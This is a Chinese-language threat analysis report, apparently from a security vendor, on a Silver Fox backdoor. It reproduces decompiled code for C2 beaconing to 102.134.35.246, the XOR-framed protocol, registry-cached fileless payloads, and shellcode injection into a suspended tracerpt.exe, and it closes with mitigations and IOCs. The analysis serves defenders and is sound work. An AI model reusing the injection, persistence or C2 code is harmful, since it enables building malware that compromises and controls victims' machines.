标志(通常意味着样本生成日期) | 9.18 |
jp:/sx:/bh:/ll:/dl:/sh:/bd: |
布尔开关(代表着特定功能的模块是否需要拉取) | — |
解析结果写入全局配置结构体g_CfgStruct(4768字节),三路C2主机/端口/协议分别存入对应全局字段。若注册表HKCU\Console\IpDate存在备份配置且数据长度超过10字节,则以注册表缓存覆盖三路C2配置后重新解析:
// 配置解析器核心流程(省略重复字段解析)
int ParseC2Config_FromStringAndRegistry()
{
if ( g_bConfigInitDone )
return 0;
g_bConfigInitDone = 1;
wcsrev(g_wszConfigRaw); // 倒序还原配置串
memset(&g_CfgStruct, 0, 0x12A0);
Config_ExtractField(L"p1:", &g_wszC2Host1);
Config_ExtractField(L"o1:", &g_wszC2Port1);
// ... 依次解析 p2/o2/t2, p3/o3/t3, dd/cl/kl 等字段 ...
if ( RegOpenKeyExW(HKEY_CURRENT_USER, L"Console", 0,
KEY_READ, &hKey) == ERROR_SUCCESS )
{
// 读取 IpDate 值,cbData > 0xA 时覆盖并重新解析
}
return 0; // 实机返回解析过程中的中间值,调用方均忽略
}
上线主循环(主备乒乓切换 + 每 200 次切第三路)
C2_MainLoop_StartAddress为上线主循环线程入口,以__noreturn无限循环方式运行,在102.134.35.246的1688、1888、88三个TCP端点间轮换上线:
// C2上线主循环(线程入口,永不返回)
void __fastcall __noreturn C2_MainLoop_StartAddress(LPVOID lpThreadParameter)
{
unsigned int init_delay_sec;
init_delay_sec = WStrToUIntDec(g_wszCfgDelayStart);
Sleep(1000 * init_delay_sec); // 首延迟
// 一次性构造 TCP 和 UDP 传输对象
pTcpSocket = CTcpSocket_ctor(operator new(0xB8));
pUdpSocket = CUdpSocket_ctor(operator new(0x368));
while ( 1 )
{
// 主/备C2乒乓切换
if ( g_use_backup_c2 )
{
wcscpy_s(&sz_c2_host, 0xFF, &g_wszC2Host2);
wcscpy_s(&sz_c2_port, 0x1E, &g_wszC2Port2);
socket_type = g_dwC2Proto2;
}
else
{
wcscpy_s(&sz_c2_host, 0xFF, &g_wszC2Host1);
wcscpy_s(&sz_c2_port, 0x1E, &g_wszC2Port1);
socket_type = g_dwC2Proto1;
}
g_use_backup_c2 = !g_use_backup_c2; // 乒乓翻转
// 每200次尝试强制使用第三路C2
if ( ++g_attempt_counter == 200 )
{
wcscpy_s(&sz_c2_host, 0xFF, &g_wszC2Host3);
wcscpy_s(&sz_c2_port, 0x1E, &g_wszC2Port3);
socket_type = g_dwC2Proto3;
g_attempt_counter = 0;
}
// 上一轮的传输对象先复位(vtable[0])
if ( pCurrentSocket )
(*(void(**)(void*))pCurrentSocket)(pCurrentSocket);
pCurrentSocket = pUdpSocket;
if ( socket_type == 1 )
pCurrentSocket = pTcpSocket;
retry_interval_sec = WStrToUIntDec(g_wszCfgDelayRetry);
Sleep(1000 * retry_interval_sec);
c2_port = WStrToUIntDec(&sz_c2_port);
if ( pVtable[4](pCurrentSocket, &sz_c2_host, c2_port) )
{
v12[0] = &g_CManager_vftable;
v12[1] = pCurrentSocket;
pVtable[3](pCurrentSocket, v12); // SetManagerDescriptor:socket+0x28 = 描述符
hObject = CreateEventA(0, 1, 0, 0); // 会话事件(描述符+0x18),本轮只创建与关闭
v13 = 0; // 描述符+0x10 = done 标志
v12[0] = &g_CKernelManager_vftable; // 同一块栈内存改作 CKernelManager 对象:收包即经 socket+0x28 的虚表槽0 进入 C2 包处理
v15 = g_dwCfgKl; // CKernelManager+0x28 = kl: 开关
// vtable[2]: SendFrame(上线载荷 04 01, 2字节)
LOWORD(v17) = 260;
pVtable[2](pCurrentSocket, &v17, 2);
// vtable[5]: StopAndJoin(会话阻塞点,返回即本轮会话结束)
pVtable[5](pCurrentSocket);
WaitForSingleObject(hHandle, INFINITE); // hHandle 恒为 NULL → 无效等待
CloseHandle(hHandle);
CloseHandle(hObject);
}
}
}
通信协议(14 字节帧头 + 会话块 XOR + 心跳)
线上传输采用两层帧格式。套接字层帧头为14字节:4字节小端总长、8字节会话块、2字节会话标识。帧头中的10字节(8字节会话块+2字节标识)同时充当XOR加密密钥:
// 帧头组装与加密(CTcpSocket_SendFrame 精简)
__int64 __fastcall CTcpSocket_SendFrame(__int64 pThis,
const void *pPayload, unsigned int cbPayload)
{
EnterSpinLock(pThis);
*cur++ = cbPayload + 14; // 4B LE 总长 = 载荷+14
*(__int64*)cur = *(__int64*)(pThis + 0x30); // 8B 会话时间戳
cur += 8;
*(__int16*)cur = *(__int16*)(pThis + 0x38); // 2B 会话标识(0x01CA)
cur += 2;
// 载荷XOR加密追加(密钥 = this+0x30 的10字节会话块)
CBufferAppend(pThis + 0x80, pPayload, cbPayload,
1, pThis + 0x30);
CTcpSocket_SendAll(pThis, base, cur - base);
ResetBuffer(pThis);
LeaveSpinLock(pThis);
return 1;
}
载荷XOR加密使用与第二阶段下载通道相同的变体XOR算法((7 * key + 0x1F) ^ 0x77),密钥为10字节会话块,字节索引以max(i-1, 0) % 10循环。两阶段唯一区别是密钥取自哪里:
- 第二阶段:密钥取自接收流自身头部的偏移
+4到+13这10个字节(含首尾两端,即帧头中8字节会话块加2字节会话标识的明文)。 - 第三阶段:密钥取自套接字对象中同一个会话块(
CTcpSocket + 0x30的8字节会话时间戳加+0x38的2字节会话标识0x01CA),发帧时这10字节被写入帧头偏移+4到+13。
上线握手载荷为2字节04 01(小端0x0104)。C2回应101字节令牌校验包:包首字节为类型标志,其后100字节为UTF-16存放的上线令牌9f2b0ad83c484fa3821c8d8c1a198007,客户端将其与注册表中缓存的令牌逐字符比对——一致即用缓存配置直接上线,不一致则重新索取载荷。
心跳机制由CTcpSocket_HeartbeatThread实现,每约10秒(1000次Sleep(10ms))发送单字节0xC9探测包。若60秒(0xEA60毫秒)内未收到任何入站帧,则判定C2链路已断并自我中止会话:
// TCP心跳线程(每约10秒发送0xC9探测,60秒超时拆除)
__int64 __fastcall CTcpSocket_HeartbeatThread(_DWORD *this)
{
int nTicks = 0;
char bProbeByte = 0xC9;
while ( this[8] )
{
Sleep(10);
if ( ++nTicks >= 1000 )
{
(*(*(void***)this + 16))(this, &bProbeByte, 1);
if ( timeGetTime() - this[7] > 0xEA60 )
(*(*(void***)this))(this); // vtable[0]: 自我拆除
}
}
return 0;
}
C2命令处理(101 令牌校验包 / 非 101 装载新载荷)
C2下发的数据包由CKernelManager_HandleC2PacketAndLoadPayload处理。包首字节0xC9为心跳过滤;该函数第三参并非类型码,而是CManager虚表槽0上抛的解密后明文长度——长度恰为101字节(令牌校验包)时走令牌比较路径(与注册表缓存的UTF-16令牌逐字符比对),其余长度即视为新配置加shellcode的安装路径。
令牌不匹配时,客户端向C2发出0xA45字节类型5请求包索取新载荷:首字节为类型码0x05,包体以8字节魔数{vU_!jWW(包体+0x04)、UTF-16字符串.dll_bin(+0x0C)与qword值1(+0x204)作为请求标识。C2据此下发[0xA44配置头][shellcode]格式的载荷包:
// C2命令/载荷分发(虚表槽0)
// cbPlain = CManager 虚表槽0 上抛的明文长度(101 = 令牌校验包)
void __fastcall CKernelManager_HandleC2PacketAndLoadPayload(_QWORD *pThis,
_BYTE *pPacket, int cbPlain)
{
if ( *pPacket == 0xC9 )
return;
if ( cbPlain != 101 )
{
memmove(&g_CmdHeader, pPacket + 1, 0xA44);
g_PayloadBuf = VirtualAlloc(0, g_PayloadSize,
0x3000, 0x40); // MEM_COMMIT|RESERVE, PAGE_EXECUTE_READWRITE
memmove((void*)g_PayloadBuf, pPacket + 2629, g_PayloadSize);
// 先按 [0xA44配置头][payload] 拼装缓冲,再整块缓存到注册表
pRegData = operator new(g_PayloadSize + 2628);
memmove(pRegData, &g_CmdHeader, 0xA44);
memmove(pRegData + 2628, g_PayloadBuf, g_PayloadSize);
if ( !RegCreateKeyW(HKEY_CURRENT_USER, L"Console\\1", &hKey) )
{
RegDeleteValueW(hKey, L"d33f351a4aeea5e608853d1a56661059");
RegSetValueExW(hKey, L"d33f351a4aeea5e608853d1a56661059",
0, REG_BINARY, pRegData, g_PayloadSize + 2628);
}
RegCloseKey(hKey);
free(pRegData);
goto LABEL_LAUNCH;
}
// cbPlain == 101 令牌校验包路径:从注册表恢复缓存的配置与载荷
if ( !RegOpenKeyExW(HKEY_CURRENT_USER, L"Console\\1", 0, KEY_READ, &hKey) )
{
// 第一次调用仅取缓存长度,第二次才读取数据
RegQueryValueExW(hKey, L"d33f351a4aeea5e608853d1a56661059",
0, &Type, NULL, &cbSize);
if ( cbSize > 0xA44 )
{
pRegBuf = operator new(cbSize);
RegQueryValueExW(hKey, L"d33f351a4aeea5e608853d1a56661059",
0, &Type, pRegBuf, &cbSize);
memmove(&g_CmdHeader, pRegBuf, 0xA44);
g_PayloadBuf = VirtualAlloc(0, g_PayloadSize, 0x3000, 0x40);
memmove((void*)g_PayloadBuf, pRegBuf + 2628, g_PayloadSize);
}
RegCloseKey(hKey);
}
// 逐字符比较收包体(pPacket+1)与缓存配置中的 UTF-16 令牌(配置头 +0x20C)
if ( !wDiff )
{
LABEL_LAUNCH:
pThis[6] = _beginthreadex(0, 0, PayloadKeepaliveThread, pThis, 0, 0);
Sleep(3000);
(**(void***)pThis[1])(pThis[1]);
return;
}
// 令牌不匹配:构造类型5请求包
pReqPkt = operator new(0xA45);
*pReqPkt = 5;
memmove(pReqPkt + 1, &Src, 0xA44);
if ( !*((_DWORD*)pThis + 4) ) // pThis+0x10 为 0 时才发送
(*(void**)(*pThis[1] + 16))(pThis[1], pReqPkt, 2629);
free(pReqPkt);
}
进程注入(CREATE_SUSPENDED + 仅改 Rip)
载荷shellcode通过InjectShellcodeIntoTracerptExe注入系统进程tracerpt.exe。
// 进程注入(非PE镂空,仅RIP劫持)
BOOL __fastcall InjectShellcodeIntoTracerptExe(int cbPayload,
__int64 pProcessInfo)
{
LPCVOID pPayloadBuf = g_PayloadBuf;
SIZE_T cbPayloadSize = cbPayload;
STARTUPINFOA si = {0};
CONTEXT ctx = {0};
CHAR szTargetPath[256];
si.cb = 104;
si.dwFlags = 1;
si.wShowWindow = 0; // SW_HIDE
// 取系统目录后截断为盘根,再拼接相对路径
// 避免'C:\Windows\System32'完整路径出现在样本中
GetSystemDirectoryA(szTargetPath, 0xFF);
szTargetPath[3] = 0; // 'C:\Windows\System32' → 'C:\'
SafeVsprintfA(szTargetPath, "%s%s",
szTargetPath, "Windows\\System32\\tracerpt.exe");
// 以挂起方式启动傀儡进程
if ( !CreateProcessA(szTargetPath, 0, 0, 0, 0,
CREATE_SUSPENDED, 0, 0, &si, pProcessInfo) )
return 0;
// 远程分配RWX内存并写入shellcode
pRemoteBase = VirtualAllocEx(hProcess, 0, cbPayloadSize,
0x3000, 0x40);
if ( !pRemoteBase ||
!WriteProcessMemory(hProcess, pRemoteBase,
pPayloadBuf, cbPayloadSize, NULL) )
return 0; // 失败即返回,不清理
// 仅修改Rip(不改RCX/RDX/RSP → 不传参、不换栈)
ctx.ContextFlags = 0x10000B;
if ( !GetThreadContext(hThread, &ctx) )
return 0; // 失败即返回,不清理
ctx.Rip = (DWORD64)pRemoteBase;
if ( !SetThreadContext(hThread, &ctx) )
return 0; // 失败即返回,不清理
ResumeThread(hThread);
return 1;
}
注入保活(3 秒轮询 + 无限重注入)
PayloadKeepaliveThread为注入保活线程入口,负责配置内嵌、注册表持久化与无限重注入守护。守护模式(kl:配置位置1)下进入while(1)无限循环,每3秒轮询被注入进程存活状态,退出即立即重新注入:
// 注入保活线程(pKernelMgr = 主循环栈上构造的 CKernelManager 对象)
__int64 __fastcall PayloadKeepaliveThread(_DWORD *pKernelMgr)
{
// 在载荷缓冲区中查找12字节标记 ihziepulgned(denglupeizhi 的字符倒序,即“登录配置”)
nCfgEmbedOfs = FindLoginCfgMarkerInPayload(g_PayloadSize);
if ( nCfgEmbedOfs != -1 )
memmove((char*)g_PayloadBuf + nCfgEmbedOfs,
&g_CfgStruct, 0x12A0);
// 注册表持久化:先删后写
RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE", 0, 0x102, &hKey);
RegDeleteValueW(hKey, L"IpDates_info");
RegSetValueExW(hKey, L"IpDates_info", 0, REG_BINARY,
&g_CfgStruct, 0x12A0);
RegCloseKey(hKey);
if ( pKernelMgr[10] ) // +0x28 = kl:配置位 → 守护模式
{
while ( 1 )
{
while ( !InjectShellcodeIntoTracerptExe(g_PayloadSize, pi) )
;
while ( 1 )
{
hChildProc = OpenProcess(0x400, 0, pidChild);
if ( !hChildProc ||
!GetExitCodeProcess(hChildProc, &dwExitCode) ||
dwExitCode != 259 )
break; // 进程已退出 → 立即重注入
Sleep(3000); // 每3秒轮询一次
}
}
}
// 非守护模式:在本进程直接执行shellcode
((void(*)(void))g_PayloadBuf)();
return 0;
}
注册表持久化(IpDates_info + Console\1 载荷缓存)
该样本利用注册表实现配置持久化与载荷缓存,载荷不落地文件系统:
| 注册表键值(项\值名称) | 类型 | 数据 |
|---|---|---|
HKLM\SOFTWARE\IpDates_info |
REG_BINARY |
运行时配置结构 |
HKCU\Console\1\d33f351a4aeea5e608853d1a56661059 |
REG_BINARY |
[0xA44配置头][payload] |
HKCU\Console\IpDate |
REG_BINARY |
C2配置串 |
自研ARQ可靠传输(UDP 上自带签收与重传)
当配置中的协议位非1时,样本不使用TCP,而是在UDP上自建了一套可靠传输(CArqSessionT):每条记录都带序号并要求对方签收,没签收就重发,等待重发的时长按实测往返耗时自动调整。UDP本身不保证送达,这一步是该模块把长连接维持住的关键。
ARQ层自身不加密:记录经CUdpSocket_QueueData原样入队、由发送泵直接send,因此UDP报文中的24字节私有头、类型码0x51('Q'数据)、0x52('R'签收)、0x53('S'探测)、0x54('T'窗口)与不超过1432字节的记录长度均为明文可见。
做法上它照搬了TCP的成熟机制,只是自行实现:可连续发送多条记录而不必逐条等确认(滑动窗口,窗口大小由对端通告的接收窗口决定),并按累积确认号向前推进;发送速率采用慢启动(cwnd += MSS)与拥塞避免(cwnd += MSS²/cwnd + MSS/16);重传超时RTO(发出后多久没回音就重发)按RFC6298标准由SRTT(平滑RTT)与RTTVAR(RTT抖动)自适应计算,以免固定超时值在网络抖动时误重发、真丢包时干等:
__int64 __fastcall ArqUpdateRttRto(_DWORD *pArq, int rttSample)
{
int srtt = pArq[11];
int rttDiff;
if ( srtt )
{
rttDiff = rttSample - srtt;
if ( rttDiff < 0 ) rttDiff = -rttDiff;
pArq[10] = (rttDiff + 2 * pArq[10] + pArq[10]) / 4;
srttNew = (rttSample + 7 * srtt) / 8;
if ( srttNew < 1 ) srttNew = 1;
pArq[11] = srttNew;
}
else
{
pArq[11] = rttSample;
pArq[10] = rttSample / 2;
}
rto = pArq[11] + max(4 * pArq[10], pArq[20]);
if ( rto < pArq[13] ) rto = pArq[13];
if ( rto > 60000 ) rto = 60000;
pArq[12] = rto;
return rto;
}
ARQ帧采用24字节固定头(24字节头 + 最多1408字节载荷 = 单条上限1432字节,与UDP发送块上限socket+0x23C一致),全部多字节字段为小端编码:
| 偏移 | 宽度 | 语义 |
|---|---|---|
| +0 | u32 LE | 会话ID(timeGetTime()原子递增生成) |
| +4 | u8 | 类型(四类记录,取值见下表) |
| +5 | u8 | 剩余分片数('Q'数据记录,接收端据此重组同一逻辑消息;控制记录为0) |
| +6 | u16 LE | 接收窗口大小 |
| +8 | u32 LE | 时间戳(ACK回显,用于RTT计算) |
| +12 | u32 LE | 序号sn |
| +16 | u32 LE | 累积确认号 |
| +20 | u32 LE | 载荷长度 |
其中+4偏移的类型字段共四类取值,且全部落在可打印ASCII区间('Q'/'R'/'S'/'T'),抓包时肉眼即可分辨:
| 类型码 | ASCII |
名称 |
|---|---|---|
0x51 |
'Q' |
数据 |
0x52 |
'R' |
签收(ACK) |
0x53 |
'S' |
探测 |
0x54 |
'T' |
窗口 |
由于ARQ记录走的是上述独立队列与发送泵,套接字层的14字节帧头与XOR仅作用于SendFrame路径,即TCP传输与UDP保活/上线帧。
攻击过程可视化(EDR)
瑞星EDR上详细记录了主机上的程序活动,通过威胁可视化调查功能,可以对本次攻击过程进行还原以及关系网展示。图中展示了本次攻击活动中涉及到的进程以及相关的域名等情况。

总结
银狐木马攻击团伙自2022年开始活跃,其传播手段包括:即时通讯工具钓鱼,邮件附件钓鱼,钓鱼网站,下载站冒充常用工具等方式,主要针对企事业单位的管理、财务、销售、金融从业等相关人员发送具有针对性的钓鱼、欺诈类信息,望企事业单位务必要引起重视并加强相关安全培训,防范该家族木马的攻击。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星ESM目前已经可以检出此次攻击事件的相关样本

-
及时修补系统补丁和重要软件的补丁。
沦陷信标(IOC)
-
MD5
7f6ef2981a3e4f88f9e8d1571cd1103c 909ec32ff0b1b4e8b1995afad83760bb 752c7d381c203e35656921fae1a1775f -
IPV4
102.134.35.246 -
瑞星病毒名
Trojan.Injector!1.147FE Backdoor.SilverFox/x64!1.104D7 Backdoor.PoisonMouse!1.EEEE